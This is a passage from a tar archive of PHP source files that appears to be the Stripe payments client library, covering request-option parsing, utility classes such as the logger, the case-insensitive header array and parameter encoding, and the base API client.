* * @return RequestOptions */ public static function parse($options, $strict = false) { if ($options instanceof self) { return clone $options; } if (null === $options) { return new RequestOptions(null, [], null); } if (\is_string($options)) { if ($strict) { $message = 'Do not pass a string for request options. If you want to set the ' . 'API key, pass an array like ["api_key" => <apiKey>] instead.'; throw new \Stripe\Exception\InvalidArgumentException($message); } return new RequestOptions($options, [], null); } if (\is_array($options)) { $headers = []; $key = null; $base = null; if (\array_key_exists('api_key', $options)) { $key = $options['api_key']; unset($options['api_key']); } if (\array_key_exists('idempotency_key', $options)) { $headers['Idempotency-Key'] = $options['idempotency_key']; unset($options['idempotency_key']); } if (\array_key_exists('stripe_account', $options)) { $headers['Stripe-Account'] = $options['stripe_account']; unset($options['stripe_account']); } if (\array_key_exists('stripe_version', $options)) { $headers['Stripe-Version'] = $options['stripe_version']; unset($options['stripe_version']); } if (\array_key_exists('api_base', $options)) { $base = $options['api_base']; unset($options['api_base']); } if ($strict && !empty($options)) { $message = 'Got unexpected keys in options array: ' . \implode(', ', \array_keys($options)); throw new \Stripe\Exception\InvalidArgumentException($message); } return new RequestOptions($key, $headers, $base); } $message = 'The second argument to Stripe API method calls is an ' . 'optional per-request apiKey, which must be a string, or ' . 'per-request options, which must be an array. (HINT: you can set ' . 'a global apiKey by "Stripe::setApiKey(<apiKey>)")'; throw new \Stripe\Exception\InvalidArgumentException($message); } /** @return string */ private function redactedApiKey() { if (null === $this->apiKey) { return ''; } $pieces = \explode('_', $this->apiKey, 3); $last = \array_pop($pieces); $redactedLast = \strlen($last) > 4 ? (\str_repeat('*', \strlen($last) - 4) . \substr($last, -4)) : $last; $pieces[] = $redactedLast; return \implode('_', $pieces); } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Util/RandomGenerator.php���������������������������������������������������������0000644�����������������00000001456�14720677707�0015023 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Stripe\Util; /** * A basic random generator. This is in a separate class so we the generator * can be injected as a dependency and replaced with a mock in tests. */ class RandomGenerator { /** * Returns a random value between 0 and $max. * * @param float $max (optional) * * @return float */ public function randFloat($max = 1.0) { return \mt_rand() / \mt_getrandmax() * $max; } /** * Returns a v4 UUID. * * @return string */ public function uuid() { $arr = \array_values(\unpack('N1a/n4b/N1c', \openssl_random_pseudo_bytes(16))); $arr[2] = ($arr[2] & 0x0FFF) | 0x4000; $arr[3] = ($arr[3] & 0x3FFF) | 0x8000; return \vsprintf('%08x-%04x-%04x-%04x-%04x%08x', $arr); } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Util/ObjectTypes.php�������������������������������������������������������������0000644�����������������00000027430�14720677707�0014167 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Stripe\Util; class ObjectTypes { /** * @var array Mapping from object types to resource classes */ const mapping = [ \Stripe\Collection::OBJECT_NAME => \Stripe\Collection::class, \Stripe\Issuing\CardDetails::OBJECT_NAME => \Stripe\Issuing\CardDetails::class, \Stripe\SearchResult::OBJECT_NAME => \Stripe\SearchResult::class, \Stripe\File::OBJECT_NAME_ALT => \Stripe\File::class, // object classes: The beginning of the section generated from our OpenAPI spec \Stripe\Account::OBJECT_NAME => \Stripe\Account::class, \Stripe\AccountLink::OBJECT_NAME => \Stripe\AccountLink::class, \Stripe\AccountSession::OBJECT_NAME => \Stripe\AccountSession::class, \Stripe\ApplePayDomain::OBJECT_NAME => \Stripe\ApplePayDomain::class, \Stripe\Application::OBJECT_NAME => \Stripe\Application::class, \Stripe\ApplicationFee::OBJECT_NAME => \Stripe\ApplicationFee::class, \Stripe\ApplicationFeeRefund::OBJECT_NAME => \Stripe\ApplicationFeeRefund::class, \Stripe\Apps\Secret::OBJECT_NAME => \Stripe\Apps\Secret::class, \Stripe\Balance::OBJECT_NAME => \Stripe\Balance::class, \Stripe\BalanceTransaction::OBJECT_NAME => \Stripe\BalanceTransaction::class, \Stripe\BankAccount::OBJECT_NAME => \Stripe\BankAccount::class, \Stripe\Billing\Meter::OBJECT_NAME => \Stripe\Billing\Meter::class, \Stripe\Billing\MeterEvent::OBJECT_NAME => \Stripe\Billing\MeterEvent::class, \Stripe\Billing\MeterEventAdjustment::OBJECT_NAME => \Stripe\Billing\MeterEventAdjustment::class, \Stripe\Billing\MeterEventSummary::OBJECT_NAME => \Stripe\Billing\MeterEventSummary::class, \Stripe\BillingPortal\Configuration::OBJECT_NAME => \Stripe\BillingPortal\Configuration::class, \Stripe\BillingPortal\Session::OBJECT_NAME => \Stripe\BillingPortal\Session::class, \Stripe\Capability::OBJECT_NAME => \Stripe\Capability::class, \Stripe\Card::OBJECT_NAME => \Stripe\Card::class, \Stripe\CashBalance::OBJECT_NAME => \Stripe\CashBalance::class, \Stripe\Charge::OBJECT_NAME => \Stripe\Charge::class, \Stripe\Checkout\Session::OBJECT_NAME => \Stripe\Checkout\Session::class, \Stripe\Climate\Order::OBJECT_NAME => \Stripe\Climate\Order::class, \Stripe\Climate\Product::OBJECT_NAME => \Stripe\Climate\Product::class, \Stripe\Climate\Supplier::OBJECT_NAME => \Stripe\Climate\Supplier::class, \Stripe\ConfirmationToken::OBJECT_NAME => \Stripe\ConfirmationToken::class, \Stripe\ConnectCollectionTransfer::OBJECT_NAME => \Stripe\ConnectCollectionTransfer::class, \Stripe\CountrySpec::OBJECT_NAME => \Stripe\CountrySpec::class, \Stripe\Coupon::OBJECT_NAME => \Stripe\Coupon::class, \Stripe\CreditNote::OBJECT_NAME => \Stripe\CreditNote::class, \Stripe\CreditNoteLineItem::OBJECT_NAME => \Stripe\CreditNoteLineItem::class, \Stripe\Customer::OBJECT_NAME => \Stripe\Customer::class, \Stripe\CustomerBalanceTransaction::OBJECT_NAME => \Stripe\CustomerBalanceTransaction::class, \Stripe\CustomerCashBalanceTransaction::OBJECT_NAME => \Stripe\CustomerCashBalanceTransaction::class, \Stripe\CustomerSession::OBJECT_NAME => \Stripe\CustomerSession::class, \Stripe\Discount::OBJECT_NAME => \Stripe\Discount::class, \Stripe\Dispute::OBJECT_NAME => \Stripe\Dispute::class, \Stripe\Entitlements\ActiveEntitlement::OBJECT_NAME => \Stripe\Entitlements\ActiveEntitlement::class, \Stripe\Entitlements\ActiveEntitlementSummary::OBJECT_NAME => \Stripe\Entitlements\ActiveEntitlementSummary::class, \Stripe\Entitlements\Feature::OBJECT_NAME => \Stripe\Entitlements\Feature::class, \Stripe\EphemeralKey::OBJECT_NAME => \Stripe\EphemeralKey::class, \Stripe\Event::OBJECT_NAME => \Stripe\Event::class, \Stripe\ExchangeRate::OBJECT_NAME => \Stripe\ExchangeRate::class, \Stripe\File::OBJECT_NAME => \Stripe\File::class, \Stripe\FileLink::OBJECT_NAME => \Stripe\FileLink::class, \Stripe\FinancialConnections\Account::OBJECT_NAME => \Stripe\FinancialConnections\Account::class, \Stripe\FinancialConnections\AccountOwner::OBJECT_NAME => \Stripe\FinancialConnections\AccountOwner::class, \Stripe\FinancialConnections\AccountOwnership::OBJECT_NAME => \Stripe\FinancialConnections\AccountOwnership::class, \Stripe\FinancialConnections\Session::OBJECT_NAME => \Stripe\FinancialConnections\Session::class, \Stripe\FinancialConnections\Transaction::OBJECT_NAME => \Stripe\FinancialConnections\Transaction::class, \Stripe\Forwarding\Request::OBJECT_NAME => \Stripe\Forwarding\Request::class, \Stripe\FundingInstructions::OBJECT_NAME => \Stripe\FundingInstructions::class, \Stripe\Identity\VerificationReport::OBJECT_NAME => \Stripe\Identity\VerificationReport::class, \Stripe\Identity\VerificationSession::OBJECT_NAME => \Stripe\Identity\VerificationSession::class, \Stripe\Invoice::OBJECT_NAME => \Stripe\Invoice::class, \Stripe\InvoiceItem::OBJECT_NAME => \Stripe\InvoiceItem::class, \Stripe\InvoiceLineItem::OBJECT_NAME => \Stripe\InvoiceLineItem::class, \Stripe\Issuing\Authorization::OBJECT_NAME => \Stripe\Issuing\Authorization::class, \Stripe\Issuing\Card::OBJECT_NAME => \Stripe\Issuing\Card::class, \Stripe\Issuing\Cardholder::OBJECT_NAME => \Stripe\Issuing\Cardholder::class, \Stripe\Issuing\Dispute::OBJECT_NAME => \Stripe\Issuing\Dispute::class, \Stripe\Issuing\PersonalizationDesign::OBJECT_NAME => \Stripe\Issuing\PersonalizationDesign::class, \Stripe\Issuing\PhysicalBundle::OBJECT_NAME => \Stripe\Issuing\PhysicalBundle::class, \Stripe\Issuing\Token::OBJECT_NAME => \Stripe\Issuing\Token::class, \Stripe\Issuing\Transaction::OBJECT_NAME => \Stripe\Issuing\Transaction::class, \Stripe\LineItem::OBJECT_NAME => \Stripe\LineItem::class, \Stripe\LoginLink::OBJECT_NAME => \Stripe\LoginLink::class, \Stripe\Mandate::OBJECT_NAME => \Stripe\Mandate::class, \Stripe\PaymentIntent::OBJECT_NAME => \Stripe\PaymentIntent::class, \Stripe\PaymentLink::OBJECT_NAME => \Stripe\PaymentLink::class, \Stripe\PaymentMethod::OBJECT_NAME => \Stripe\PaymentMethod::class, \Stripe\PaymentMethodConfiguration::OBJECT_NAME => \Stripe\PaymentMethodConfiguration::class, \Stripe\PaymentMethodDomain::OBJECT_NAME => \Stripe\PaymentMethodDomain::class, \Stripe\Payout::OBJECT_NAME => \Stripe\Payout::class, \Stripe\Person::OBJECT_NAME => \Stripe\Person::class, \Stripe\Plan::OBJECT_NAME => \Stripe\Plan::class, \Stripe\Price::OBJECT_NAME => \Stripe\Price::class, \Stripe\Product::OBJECT_NAME => \Stripe\Product::class, \Stripe\ProductFeature::OBJECT_NAME => \Stripe\ProductFeature::class, \Stripe\PromotionCode::OBJECT_NAME => \Stripe\PromotionCode::class, \Stripe\Quote::OBJECT_NAME => \Stripe\Quote::class, \Stripe\Radar\EarlyFraudWarning::OBJECT_NAME => \Stripe\Radar\EarlyFraudWarning::class, \Stripe\Radar\ValueList::OBJECT_NAME => \Stripe\Radar\ValueList::class, \Stripe\Radar\ValueListItem::OBJECT_NAME => \Stripe\Radar\ValueListItem::class, \Stripe\Refund::OBJECT_NAME => \Stripe\Refund::class, \Stripe\Reporting\ReportRun::OBJECT_NAME => \Stripe\Reporting\ReportRun::class, \Stripe\Reporting\ReportType::OBJECT_NAME => \Stripe\Reporting\ReportType::class, \Stripe\ReserveTransaction::OBJECT_NAME => \Stripe\ReserveTransaction::class, \Stripe\Review::OBJECT_NAME => \Stripe\Review::class, \Stripe\SetupAttempt::OBJECT_NAME => \Stripe\SetupAttempt::class, \Stripe\SetupIntent::OBJECT_NAME => \Stripe\SetupIntent::class, \Stripe\ShippingRate::OBJECT_NAME => \Stripe\ShippingRate::class, \Stripe\Sigma\ScheduledQueryRun::OBJECT_NAME => \Stripe\Sigma\ScheduledQueryRun::class, \Stripe\Source::OBJECT_NAME => \Stripe\Source::class, \Stripe\SourceMandateNotification::OBJECT_NAME => \Stripe\SourceMandateNotification::class, \Stripe\SourceTransaction::OBJECT_NAME => \Stripe\SourceTransaction::class, \Stripe\Subscription::OBJECT_NAME => \Stripe\Subscription::class, \Stripe\SubscriptionItem::OBJECT_NAME => \Stripe\SubscriptionItem::class, \Stripe\SubscriptionSchedule::OBJECT_NAME => \Stripe\SubscriptionSchedule::class, \Stripe\Tax\Calculation::OBJECT_NAME => \Stripe\Tax\Calculation::class, \Stripe\Tax\CalculationLineItem::OBJECT_NAME => \Stripe\Tax\CalculationLineItem::class, \Stripe\Tax\Registration::OBJECT_NAME => \Stripe\Tax\Registration::class, \Stripe\Tax\Settings::OBJECT_NAME => \Stripe\Tax\Settings::class, \Stripe\Tax\Transaction::OBJECT_NAME => \Stripe\Tax\Transaction::class, \Stripe\Tax\TransactionLineItem::OBJECT_NAME => \Stripe\Tax\TransactionLineItem::class, \Stripe\TaxCode::OBJECT_NAME => \Stripe\TaxCode::class, \Stripe\TaxDeductedAtSource::OBJECT_NAME => \Stripe\TaxDeductedAtSource::class, \Stripe\TaxId::OBJECT_NAME => \Stripe\TaxId::class, \Stripe\TaxRate::OBJECT_NAME => \Stripe\TaxRate::class, \Stripe\Terminal\Configuration::OBJECT_NAME => \Stripe\Terminal\Configuration::class, \Stripe\Terminal\ConnectionToken::OBJECT_NAME => \Stripe\Terminal\ConnectionToken::class, \Stripe\Terminal\Location::OBJECT_NAME => \Stripe\Terminal\Location::class, \Stripe\Terminal\Reader::OBJECT_NAME => \Stripe\Terminal\Reader::class, \Stripe\TestHelpers\TestClock::OBJECT_NAME => \Stripe\TestHelpers\TestClock::class, \Stripe\Token::OBJECT_NAME => \Stripe\Token::class, \Stripe\Topup::OBJECT_NAME => \Stripe\Topup::class, \Stripe\Transfer::OBJECT_NAME => \Stripe\Transfer::class, \Stripe\TransferReversal::OBJECT_NAME => \Stripe\TransferReversal::class, \Stripe\Treasury\CreditReversal::OBJECT_NAME => \Stripe\Treasury\CreditReversal::class, \Stripe\Treasury\DebitReversal::OBJECT_NAME => \Stripe\Treasury\DebitReversal::class, \Stripe\Treasury\FinancialAccount::OBJECT_NAME => \Stripe\Treasury\FinancialAccount::class, \Stripe\Treasury\FinancialAccountFeatures::OBJECT_NAME => \Stripe\Treasury\FinancialAccountFeatures::class, \Stripe\Treasury\InboundTransfer::OBJECT_NAME => \Stripe\Treasury\InboundTransfer::class, \Stripe\Treasury\OutboundPayment::OBJECT_NAME => \Stripe\Treasury\OutboundPayment::class, \Stripe\Treasury\OutboundTransfer::OBJECT_NAME => \Stripe\Treasury\OutboundTransfer::class, \Stripe\Treasury\ReceivedCredit::OBJECT_NAME => \Stripe\Treasury\ReceivedCredit::class, \Stripe\Treasury\ReceivedDebit::OBJECT_NAME => \Stripe\Treasury\ReceivedDebit::class, \Stripe\Treasury\Transaction::OBJECT_NAME => \Stripe\Treasury\Transaction::class, \Stripe\Treasury\TransactionEntry::OBJECT_NAME => \Stripe\Treasury\TransactionEntry::class, \Stripe\UsageRecord::OBJECT_NAME => \Stripe\UsageRecord::class, \Stripe\UsageRecordSummary::OBJECT_NAME => \Stripe\UsageRecordSummary::class, \Stripe\WebhookEndpoint::OBJECT_NAME => \Stripe\WebhookEndpoint::class, // object classes: The end of the section generated from our OpenAPI spec ]; } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Util/LoggerInterface.php���������������������������������������������������������0000644�����������������00000002206�14720677707�0014766 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Stripe\Util; /** * Describes a logger instance. * * This is a subset of the interface of the same name in the PSR-3 logger * interface. We guarantee to keep it compatible, but we'd redefined it here so * that we don't have to pull in the extra dependencies for users who don't want * it. * * See https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-3-logger-interface.md * for the full interface specification. * * The message MUST be a string or object implementing __toString(). * * The message MAY contain placeholders in the form: {foo} where foo * will be replaced by the context data in key "foo". * * The context array can contain arbitrary data, the only assumption that * can be made by implementors is that if an Exception instance is given * to produce a stack trace, it MUST be in a key named "exception". */ interface LoggerInterface { /** * Runtime errors that do not require immediate action but should typically * be logged and monitored. * * @param string $message */ public function error($message, array $context = []); } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Util/DefaultLogger.php�����������������������������������������������������������0000644�����������������00000001466�14720677707�0014461 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Stripe\Util; /** * A very basic implementation of LoggerInterface that has just enough * functionality that it can be the default for this library. */ class DefaultLogger implements LoggerInterface { /** @var int */ public $messageType = 0; /** @var null|string */ public $destination; public function error($message, array $context = []) { if (\count($context) > 0) { throw new \Stripe\Exception\BadMethodCallException('DefaultLogger does not currently implement context. Please implement if you need it.'); } if (null === $this->destination) { \error_log($message, $this->messageType); } else { \error_log($message, $this->messageType, $this->destination); } } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Util/CaseInsensitiveArray.php����������������������������������������������������0000644�����������������00000004310�14720677707�0016017 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Stripe\Util; /** * CaseInsensitiveArray is an array-like class that ignores case for keys. * * It is used to store HTTP headers. Per RFC 2616, section 4.2: * Each header field consists of a name followed by a colon (":") and the field value. Field names * are case-insensitive. * * In the context of stripe-php, this is useful because the API will return headers with different * case depending on whether HTTP/2 is used or not (with HTTP/2, headers are always in lowercase). */ class CaseInsensitiveArray implements \ArrayAccess, \Countable, \IteratorAggregate { private $container = []; public function __construct($initial_array = []) { $this->container = \array_change_key_case($initial_array, \CASE_LOWER); } /** * @return int */ #[\ReturnTypeWillChange] public function count() { return \count($this->container); } /** * @return \ArrayIterator */ #[\ReturnTypeWillChange] public function getIterator() { return new \ArrayIterator($this->container); } /** * @return void */ #[\ReturnTypeWillChange] public function offsetSet($offset, $value) { $offset = self::maybeLowercase($offset); if (null === $offset) { $this->container[] = $value; } else { $this->container[$offset] = $value; } } /** * @return bool */ #[\ReturnTypeWillChange] public function offsetExists($offset) { $offset = self::maybeLowercase($offset); return isset($this->container[$offset]); } /** * @return void */ #[\ReturnTypeWillChange] public function offsetUnset($offset) { $offset = self::maybeLowercase($offset); unset($this->container[$offset]); } /** * @return mixed */ #[\ReturnTypeWillChange] public function offsetGet($offset) { $offset = self::maybeLowercase($offset); return isset($this->container[$offset]) ? $this->container[$offset] : null; } private static function maybeLowercase($v) { if (\is_string($v)) { return \strtolower($v); } return $v; } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Util/Set.php���������������������������������������������������������������������0000644�����������������00000001464�14720677707�0012466 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Stripe\Util; use ArrayIterator; use IteratorAggregate; class Set implements IteratorAggregate { private $_elts; public function __construct($members = []) { $this->_elts = []; foreach ($members as $item) { $this->_elts[$item] = true; } } public function includes($elt) { return isset($this->_elts[$elt]); } public function add($elt) { $this->_elts[$elt] = true; } public function discard($elt) { unset($this->_elts[$elt]); } public function toArray() { return \array_keys($this->_elts); } /** * @return ArrayIterator */ #[\ReturnTypeWillChange] public function getIterator() { return new ArrayIterator($this->toArray()); } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Util/Util.php��������������������������������������������������������������������0000644�����������������00000016721�14720677707�0012652 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Stripe\Util; use Stripe\StripeObject; abstract class Util { private static $isMbstringAvailable = null; private static $isHashEqualsAvailable = null; /** * Whether the provided array (or other) is a list rather than a dictionary. * A list is defined as an array for which all the keys are consecutive * integers starting at 0. Empty arrays are considered to be lists. * * @param array|mixed $array * * @return bool true if the given object is a list */ public static function isList($array) { if (!\is_array($array)) { return false; } if ([] === $array) { return true; } if (\array_keys($array) !== \range(0, \count($array) - 1)) { return false; } return true; } /** * Converts a response from the Stripe API to the corresponding PHP object. * * @param array $resp the response from the Stripe API * @param array $opts * * @return array|StripeObject */ public static function convertToStripeObject($resp, $opts) { $types = \Stripe\Util\ObjectTypes::mapping; if (self::isList($resp)) { $mapped = []; foreach ($resp as $i) { $mapped[] = self::convertToStripeObject($i, $opts); } return $mapped; } if (\is_array($resp)) { if (isset($resp['object']) && \is_string($resp['object']) && isset($types[$resp['object']])) { $class = $types[$resp['object']]; } else { $class = \Stripe\StripeObject::class; } return $class::constructFrom($resp, $opts); } return $resp; } /** * @param mixed|string $value a string to UTF8-encode * * @return mixed|string the UTF8-encoded string, or the object passed in if * it wasn't a string */ public static function utf8($value) { if (null === self::$isMbstringAvailable) { self::$isMbstringAvailable = \function_exists('mb_detect_encoding') && \function_exists('mb_convert_encoding'); if (!self::$isMbstringAvailable) { \trigger_error('It looks like the mbstring extension is not enabled. ' . 'UTF-8 strings will not properly be encoded. Ask your system ' . 'administrator to enable the mbstring extension, or write to ' . 'support@stripe.com if you have any questions.', \E_USER_WARNING); } } if (\is_string($value) && self::$isMbstringAvailable && 'UTF-8' !== \mb_detect_encoding($value, 'UTF-8', true)) { return mb_convert_encoding($value, 'UTF-8', 'ISO-8859-1'); } return $value; } /** * Compares two strings for equality. The time taken is independent of the * number of characters that match. * * @param string $a one of the strings to compare * @param string $b the other string to compare * * @return bool true if the strings are equal, false otherwise */ public static function secureCompare($a, $b) { if (null === self::$isHashEqualsAvailable) { self::$isHashEqualsAvailable = \function_exists('hash_equals'); } if (self::$isHashEqualsAvailable) { return \hash_equals($a, $b); } if (\strlen($a) !== \strlen($b)) { return false; } $result = 0; for ($i = 0; $i < \strlen($a); ++$i) { $result |= \ord($a[$i]) ^ \ord($b[$i]); } return 0 === $result; } /** * Recursively goes through an array of parameters. If a parameter is an instance of * ApiResource, then it is replaced by the resource's ID. * Also clears out null values. * * @param mixed $h * * @return mixed */ public static function objectsToIds($h) { if ($h instanceof \Stripe\ApiResource) { return $h->id; } if (static::isList($h)) { $results = []; foreach ($h as $v) { $results[] = static::objectsToIds($v); } return $results; } if (\is_array($h)) { $results = []; foreach ($h as $k => $v) { if (null === $v) { continue; } $results[$k] = static::objectsToIds($v); } return $results; } return $h; } /** * @param array $params * * @return string */ public static function encodeParameters($params) { $flattenedParams = self::flattenParams($params); $pieces = []; foreach ($flattenedParams as $param) { list($k, $v) = $param; $pieces[] = self::urlEncode($k) . '=' . self::urlEncode($v); } return \implode('&', $pieces); } /** * @param array $params * @param null|string $parentKey * * @return array */ public static function flattenParams($params, $parentKey = null) { $result = []; foreach ($params as $key => $value) { $calculatedKey = $parentKey ? "{$parentKey}[{$key}]" : $key; if (self::isList($value)) { $result = \array_merge($result, self::flattenParamsList($value, $calculatedKey)); } elseif (\is_array($value)) { $result = \array_merge($result, self::flattenParams($value, $calculatedKey)); } else { \array_push($result, [$calculatedKey, $value]); } } return $result; } /** * @param array $value * @param string $calculatedKey * * @return array */ public static function flattenParamsList($value, $calculatedKey) { $result = []; foreach ($value as $i => $elem) { if (self::isList($elem)) { $result = \array_merge($result, self::flattenParamsList($elem, $calculatedKey)); } elseif (\is_array($elem)) { $result = \array_merge($result, self::flattenParams($elem, "{$calculatedKey}[{$i}]")); } else { \array_push($result, ["{$calculatedKey}[{$i}]", $elem]); } } return $result; } /** * @param string $key a string to URL-encode * * @return string the URL-encoded string */ public static function urlEncode($key) { $s = \urlencode((string) $key); // Don't use strict form encoding by changing the square bracket control // characters back to their literals. This is fine by the server, and // makes these parameter strings easier to read. $s = \str_replace('%5B', '[', $s); return \str_replace('%5D', ']', $s); } public static function normalizeId($id) { if (\is_array($id)) { // see https://github.com/stripe/stripe-php/pull/1602 if (!isset($id['id'])) { return [null, $id]; } $params = $id; $id = $params['id']; unset($params['id']); } else { $params = []; } return [$id, $params]; } /** * Returns UNIX timestamp in milliseconds. * * @return int current time in millis */ public static function currentTimeMillis() { return (int) \round(\microtime(true) * 1000); } } �����������������������������������������������stripe-gateway/lib/BaseStripeClient.php�������������������������������������������������������������0000644�����������������00000030336�14720677707�0014216 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Stripe; class BaseStripeClient implements StripeClientInterface, StripeStreamingClientInterface { /** @var string default base URL for Stripe's API */ const DEFAULT_API_BASE = 'https://api.stripe.com'; /** @var string default base URL for Stripe's OAuth API */ const DEFAULT_CONNECT_BASE = 'https://connect.stripe.com'; /** @var string default base URL for Stripe's Files API */ const DEFAULT_FILES_BASE = 'https://files.stripe.com'; /** @var array<string, null|string> */ const DEFAULT_CONFIG = [ 'api_key' => null, 'app_info' => null, 'client_id' => null, 'stripe_account' => null, 'stripe_version' => \Stripe\Util\ApiVersion::CURRENT, 'api_base' => self::DEFAULT_API_BASE, 'connect_base' => self::DEFAULT_CONNECT_BASE, 'files_base' => self::DEFAULT_FILES_BASE, ]; /** @var array<string, mixed> */ private $config; /** @var \Stripe\Util\RequestOptions */ private $defaultOpts; /** * Initializes a new instance of the {@link BaseStripeClient} class. * * The constructor takes a single argument. The argument can be a string, in which case it * should be the API key. It can also be an array with various configuration settings. * * Configuration settings include the following options: * * - api_key (null|string): the Stripe API key, to be used in regular API requests. * - app_info (null|array): information to identify a plugin that integrates Stripe using this library. * Expects: array{name: string, version?: string, url?: string, partner_id?: string} * - client_id (null|string): the Stripe client ID, to be used in OAuth requests. * - stripe_account (null|string): a Stripe account ID. If set, all requests sent by the client * will automatically use the {@code Stripe-Account} header with that account ID. * - stripe_version (null|string): a Stripe API version. If set, all requests sent by the client * will include the {@code Stripe-Version} header with that API version. * * The following configuration settings are also available, though setting these should rarely be necessary * (only useful if you want to send requests to a mock server like stripe-mock): * * - api_base (string): the base URL for regular API requests. Defaults to * {@link DEFAULT_API_BASE}. * - connect_base (string): the base URL for OAuth requests. Defaults to * {@link DEFAULT_CONNECT_BASE}. * - files_base (string): the base URL for file creation requests. Defaults to * {@link DEFAULT_FILES_BASE}. * * @param array<string, mixed>|string $config the API key as a string, or an array containing * the client configuration settings */ public function __construct($config = []) { if (\is_string($config)) { $config = ['api_key' => $config]; } elseif (!\is_array($config)) { throw new \Stripe\Exception\InvalidArgumentException('$config must be a string or an array'); } $config = \array_merge(self::DEFAULT_CONFIG, $config); $this->validateConfig($config); $this->config = $config; $this->defaultOpts = \Stripe\Util\RequestOptions::parse([ 'stripe_account' => $config['stripe_account'], 'stripe_version' => $config['stripe_version'], ]); } /** * Gets the API key used by the client to send requests. * * @return null|string the API key used by the client to send requests */ public function getApiKey() { return $this->config['api_key']; } /** * Gets the client ID used by the client in OAuth requests. * * @return null|string the client ID used by the client in OAuth requests */ public function getClientId() { return $this->config['client_id']; } /** * Gets the base URL for Stripe's API. * * @return string the base URL for Stripe's API */ public function getApiBase() { return $this->config['api_base']; } /** * Gets the base URL for Stripe's OAuth API. * * @return string the base URL for Stripe's OAuth API */ public function getConnectBase() { return $this->config['connect_base']; } /** * Gets the base URL for Stripe's Files API. * * @return string the base URL for Stripe's Files API */ public function getFilesBase() { return $this->config['files_base']; } /** * Gets the app info for this client. * * @return null|array information to identify a plugin that integrates Stripe using this library */ public function getAppInfo() { return $this->config['app_info']; } /** * Sends a request to Stripe's API. * * @param 'delete'|'get'|'post' $method the HTTP method * @param string $path the path of the request * @param array $params the parameters of the request * @param array|\Stripe\Util\RequestOptions $opts the special modifiers of the request * * @return \Stripe\StripeObject the object returned by Stripe's API */ public function request($method, $path, $params, $opts) { $opts = $this->defaultOpts->merge($opts, true); $baseUrl = $opts->apiBase ?: $this->getApiBase(); $requestor = new \Stripe\ApiRequestor($this->apiKeyForRequest($opts), $baseUrl, $this->getAppInfo()); list($response, $opts->apiKey) = $requestor->request($method, $path, $params, $opts->headers, ['stripe_client']); $opts->discardNonPersistentHeaders(); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * Sends a request to Stripe's API, passing chunks of the streamed response * into a user-provided $readBodyChunkCallable callback. * * @param 'delete'|'get'|'post' $method the HTTP method * @param string $path the path of the request * @param callable $readBodyChunkCallable a function that will be called * @param array $params the parameters of the request * @param array|\Stripe\Util\RequestOptions $opts the special modifiers of the request * with chunks of bytes from the body if the request is successful */ public function requestStream($method, $path, $readBodyChunkCallable, $params, $opts) { $opts = $this->defaultOpts->merge($opts, true); $baseUrl = $opts->apiBase ?: $this->getApiBase(); $requestor = new \Stripe\ApiRequestor($this->apiKeyForRequest($opts), $baseUrl, $this->getAppInfo()); list($response, $opts->apiKey) = $requestor->requestStream($method, $path, $readBodyChunkCallable, $params, $opts->headers, ['stripe_client']); } /** * Sends a request to Stripe's API. * * @param 'delete'|'get'|'post' $method the HTTP method * @param string $path the path of the request * @param array $params the parameters of the request * @param array|\Stripe\Util\RequestOptions $opts the special modifiers of the request * * @return \Stripe\Collection of ApiResources */ public function requestCollection($method, $path, $params, $opts) { $obj = $this->request($method, $path, $params, $opts); if (!($obj instanceof \Stripe\Collection)) { $received_class = \get_class($obj); $msg = "Expected to receive `Stripe\\Collection` object from Stripe API. Instead received `{$received_class}`."; throw new \Stripe\Exception\UnexpectedValueException($msg); } $obj->setFilters($params); return $obj; } /** * Sends a request to Stripe's API. * * @param 'delete'|'get'|'post' $method the HTTP method * @param string $path the path of the request * @param array $params the parameters of the request * @param array|\Stripe\Util\RequestOptions $opts the special modifiers of the request * * @return \Stripe\SearchResult of ApiResources */ public function requestSearchResult($method, $path, $params, $opts) { $obj = $this->request($method, $path, $params, $opts); if (!($obj instanceof \Stripe\SearchResult)) { $received_class = \get_class($obj); $msg = "Expected to receive `Stripe\\SearchResult` object from Stripe API. Instead received `{$received_class}`."; throw new \Stripe\Exception\UnexpectedValueException($msg); } $obj->setFilters($params); return $obj; } /** * @param \Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\AuthenticationException * * @return string */ private function apiKeyForRequest($opts) { $apiKey = $opts->apiKey ?: $this->getApiKey(); if (null === $apiKey) { $msg = 'No API key provided. Set your API key when constructing the ' . 'StripeClient instance, or provide it on a per-request basis ' . 'using the `api_key` key in the $opts argument.'; throw new \Stripe\Exception\AuthenticationException($msg); } return $apiKey; } 